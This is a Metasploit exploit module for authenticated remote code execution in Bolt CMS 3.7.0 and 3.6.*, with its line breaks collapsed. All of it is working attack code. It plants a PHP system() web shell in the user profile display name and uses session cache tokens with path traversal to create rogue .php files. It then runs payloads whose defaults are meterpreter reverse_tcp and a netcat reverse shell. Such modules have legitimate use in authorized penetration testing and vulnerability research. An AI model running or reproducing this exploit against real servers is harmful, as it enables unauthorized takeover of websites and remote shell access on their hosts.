## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::CmdStager include Msf::Exploit::Remote::AutoCheck def initialize(info = {}) super( update_info( info, 'Name' => 'Bolt CMS 3.7.0 - Authenticated Remote Code Execution', 'Description' => %q{ This module exploits multiple vulnerabilities in Bolt CMS version 3.7.0 and 3.6.* in order to execute arbitrary commands as the user running Bolt. This module first takes advantage of a vulnerability that allows an authenticated user to change the username in /bolt/profile to a PHP `system($_GET[""])` variable. Next, the module obtains a list of tokens from `/async/browse/cache/.sessions` and uses these to create files with the blacklisted `.php` extention via HTTP POST requests to `/async/folder/rename`. For each created file, the module checks the HTTP response for evidence that the file can be used to execute arbitrary commands via the created PHP $_GET variable. If the response is negative, the file is deleted, otherwise the payload is executed via an HTTP get request in this format: `/files/?<$_GET_var>=` Valid credentials for a Bolt CMS user are required. This module has been successfully tested against Bolt CMS 3.7.0 running on CentOS 7. }, 'License' => MSF_LICENSE, 'Author' => [ 'Sivanesh Ashok', # Discovery 'r3m0t3nu11', # PoC 'Erik Wynter' # @wyntererik - Metasploit ], 'References' => [ ['EDB', '48296'], ['URL', 'https://github.com/bolt/bolt/releases/tag/3.7.1'] # Bolt CMS 3.7.1 release info mentioning this issue and the discovery by Sivanesh Ashok ], 'Platform' => ['linux', 'unix'], 'Arch' => [ARCH_X86, ARCH_X64, ARCH_CMD], 'Targets' => [ [ 'Linux (x86)', { 'Arch' => ARCH_X86, 'Platform' => 'linux', 'DefaultOptions' => { 'PAYLOAD' => 'linux/x86/meterpreter/reverse_tcp' } } ], [ 'Linux (x64)', { 'Arch' => ARCH_X64, 'Platform' => 'linux', 'DefaultOptions' => { 'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp' } } ], [ 'Linux (cmd)', { 'Arch' => ARCH_CMD, 'Platform' => 'unix', 'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_netcat' } } ] ], 'Privileged' => false, 'DisclosureDate' => '2020-05-07', # this the date a patch was released, since the disclosure data is not known at this time 'DefaultOptions' => { 'RPORT' => 8000, 'WfsDelay' => 5 }, 'DefaultTarget' => 2, 'Notes' => { 'NOCVE' => '0day', 'Stability' => [SERVICE_RESOURCE_LOSS], # May hang up the service 'Reliability' => [REPEATABLE_SESSION], 'SideEffects' => [IOC_IN_LOGS, CONFIG_CHANGES, ARTIFACTS_ON_DISK] } ) ) register_options [ OptString.new('TARGETURI', [true, 'Base path to Bolt CMS', '/']), OptString.new('USERNAME', [true, 'Username to authenticate with', false]), OptString.new('PASSWORD', [true, 'Password to authenticate with', false]), OptString.new('FILE_TRAVERSAL_PATH', [true, 'Traversal path from "/files" on the web server to "/root" on the server', '../../../public/files']) ] end def check # obtain token and cookie required for login res = send_request_cgi 'uri' => normalize_uri(target_uri.path, 'bolt', 'login') return CheckCode::Unknown('Connection failed') unless res unless res.code == 200 && res.body.include?('Sign in to Bolt') return CheckCode::Safe('Target is not a Bolt CMS application.') end html = res.get_html_document token = html.at('input[@id="user_login__token"]')['value'] cookie = res.get_cookies # perform login res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'bolt', 'login'), 'cookie' => cookie, 'vars_post' => { 'user_login[username]' => datastore['USERNAME'], 'user_login[password]' => datastore['PASSWORD'], 'user_login[login]' => '', 'user_login[_token]' => token } }) return CheckCode::Unknown('Connection failed') unless res unless res.code == 302 && res.body.include?('Redirecting to /bolt') return CheckCode::Unknown('Failed to authenticate to the server.') end @cookie = res.get_cookies return unless @cookie # visit profile page to obtain user_profile token and user email res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'bolt', 'profile'), 'cookie' => @cookie }) return CheckCode::Unknown('Connection failed') unless res unless res.code == 200 && res.body.include?('Profile') return CheckCode::Unknown('Failed to authenticate to the server.') end html = res.get_html_document @email = html.at('input[@type="email"]')['value'] # this is used later to revert all changes to the user profile unless @email # create fake email if this value is not found @email = Rex::Text.rand_text_alpha_lower(5..8) @email << "@#{@email}." @email << Rex::Text.rand_text_alpha_lower(2..3) print_error("Failed to obtain user email. Using #{@email} instead. This will be visible on the user profile.") end @profile_token = html.at('input[@id="user_profile__token"]')['value'] # this is needed to rename the user (below) if !@profile_token || @profile_token.to_s.empty? return CheckCode::Unknown('Authentication failure.') end # change user profile to a php $_GET variable @php_var_name = Rex::Text.rand_text_alpha_lower(4..6) res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'bolt', 'profile'), 'cookie' => @cookie, 'vars_post' => { 'user_profile[password][first]' => datastore['PASSWORD'], 'user_profile[password][second]' => datastore['PASSWORD'], 'user_profile[email]' => @email, 'user_profile[displayname]' => "<?php system($_GET['#{@php_var_name}']);?>", 'user_profile[save]' => '', 'user_profile[_token]' => @profile_token } }) return CheckCode::Unknown('Connection failed') unless res # visit profile page again to verify the changes res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'bolt', 'profile'), 'cookie' => @cookie }) return CheckCode::Unknown('Connection failed') unless res unless res.code == 200 && res.body.include?("php system($_GET['#{@php_var_name}'") return CheckCode::Unknown('Authentication failure.') end CheckCode::Vulnerable("Successfully changed the /bolt/profile username to PHP $_GET variable \"#{@php_var_name}\".") end def exploit # NOTE: Automatic check is implemented by the AutoCheck mixin super csrf unless @csrf_token && !@csrf_token.empty? fail_with Failure::NoAccess, 'Failed to obtain CSRF token' end vprint_status("Found CSRF token: #{@csrf_token}") file_tokens = obtain_cache_tokens unless file_tokens && !file_tokens.empty? fail_with Failure::NoAccess, 'Failed to obtain tokens for creating .php files.' end print_status("Found #{file_tokens.length} potential token(s) for creating .php files.") token_results = try_tokens(file_tokens) unless token_results && !token_results.empty? fail_with Failure::NoAccess, 'Failed to create a .php file that can be used for RCE. This may happen on occasion. You can try rerunning the module.' end valid_token = token_results[0] @rogue_file = token_results[1] print_good("Used token #{valid_token} to create #{@rogue_file}.") if target.arch.first == ARCH_CMD execute_command(payload.encoded) else execute_cmdstager end end def csrf # visit /bolt/overview/showcases to get csrf token res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'bolt', 'overview', 'showcases'), 'cookie' => @cookie }) fail_with Failure::Unreachable, 'Connection failed' unless res unless res.code == 200 && res.body.include?('Showcases') fail_with Failure::NoAccess, 'Failed to obtain CSRF token' end html = res.get_html_document @csrf_token = html.at('div[@class="buic-listing"]')['data-bolt_csrf_token'] end def obtain_cache_tokens # obtain tokens for creating rogue .php files from cache res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'async', 'browse', 'cache', '.sessions'), 'cookie' => @cookie }) fail_with Failure::Unreachable, 'Connection failed' unless res unless res.code == 200 && res.body.include?('entry disabled') fail_with Failure::NoAccess, 'Failed to obtain file impersonation tokens' end html = res.get_html_document entries = html.search('tr') tokens = [] entries.each do |e| token = e.at('span[@class="entry disabled"]').text.strip size = e.at('div[@class="filesize"]')['title'].strip.split(' ')[0] tokens.append(token) if size.to_i >= 2000 end tokens end def try_tokens(file_tokens) # create .php files and check if any of them can be used for RCE via the username $_GET variable file_tokens.each do |token| file_path = datastore['FILE_TRAVERSAL_PATH'].chomp('/') # remove trailing `/` in case present file_name = Rex::Text.rand_text_alpha_lower(8..12) file_name << '.php' # use token to create rogue .php file by 'renaming' a file from cache res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'async', 'folder', 'rename'), 'cookie' => @cookie, 'vars_post' => { 'namespace' => 'root', 'parent' => '/app/cache/.sessions', 'oldname' => token, 'newname' => "#{file_path}/#{file_name}", 'token' => @csrf_token } }) fail_with Failure::Unreachable, 'Connection failed' unless res next unless res.code == 200 && res.body.include?(file_name) # check if .php file contains an empty `displayname` value. If so, cmd execution should work. res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'files', file_name), 'cookie' => @cookie }) fail_with Failure::Unreachable, 'Connection failed' unless res # the response should contain a string formatted like: `displayname";s:31:""` but `s` can be a different letter and `31` a different number unless res.code == 200 && res.body.match(/displayname";[a-z]:\d{1,2}:""/) delete_file(file_name) next end return token, file_name end nil end def execute_command(cmd, _opts = {}) if target.arch.first == ARCH_CMD print_status("Attempting to execute the payload via \"/files/#{@rogue_file}?#{@php_var_name}=`payload`\"") end res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'files', @rogue_file), 'cookie' => @cookie, 'vars_get' => { @php_var_name => "(#{cmd}) > /dev/null &" } # HACK: Don't block on stdout }, 3.5) # the response should contain a string formatted like: `displayname";s:31:""` but `s` can be a different letter and `31` a different number unless res && res.code == 200 && res.body.match(/displayname";[a-z]:\d{1,2}:""/) print_warning('No response, may have executed a blocking payload!') return end print_good('Payload executed!') end def cleanup super # delete rogue .php file used for execution (if present) delete_file(@rogue_file) if @rogue_file return unless @profile_token # change user profile back to original res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'bolt', 'profile'), 'cookie' => @cookie, 'vars_post' => { 'user_profile[password][first]' => datastore['PASSWORD'], 'user_profile[password][second]' => datastore['PASSWORD'], 'user_profile[email]' => @email, 'user_profile[displayname]' => datastore['USERNAME'].to_s, 'user_profile[save]' => '', 'user_profile[_token]' => @profile_token } }) unless res print_warning('Failed to revert user profile back to original state.') return end # visit profile page again to verify the changes res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'bolt', 'profile'), 'cookie' => @cookie }) unless res && res.code == 200 && res.body.include?(datastore['USERNAME'].to_s) print_warning('Failed to revert user profile back to original state.') end print_good('Reverted user profile back to original state.') end def delete_file(file_name) res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'async', 'file', 'delete'), 'cookie' => @cookie, 'vars_post' => { 'namespace' => 'files', 'filename' => file_name, 'token' => @csrf_token } }) unless res && res.code == 200 && res.body.include?(file_name) print_warning("Failed to delete file #{file_name}. Manual cleanup required.") end print_good("Deleted file #{file_name}.") end end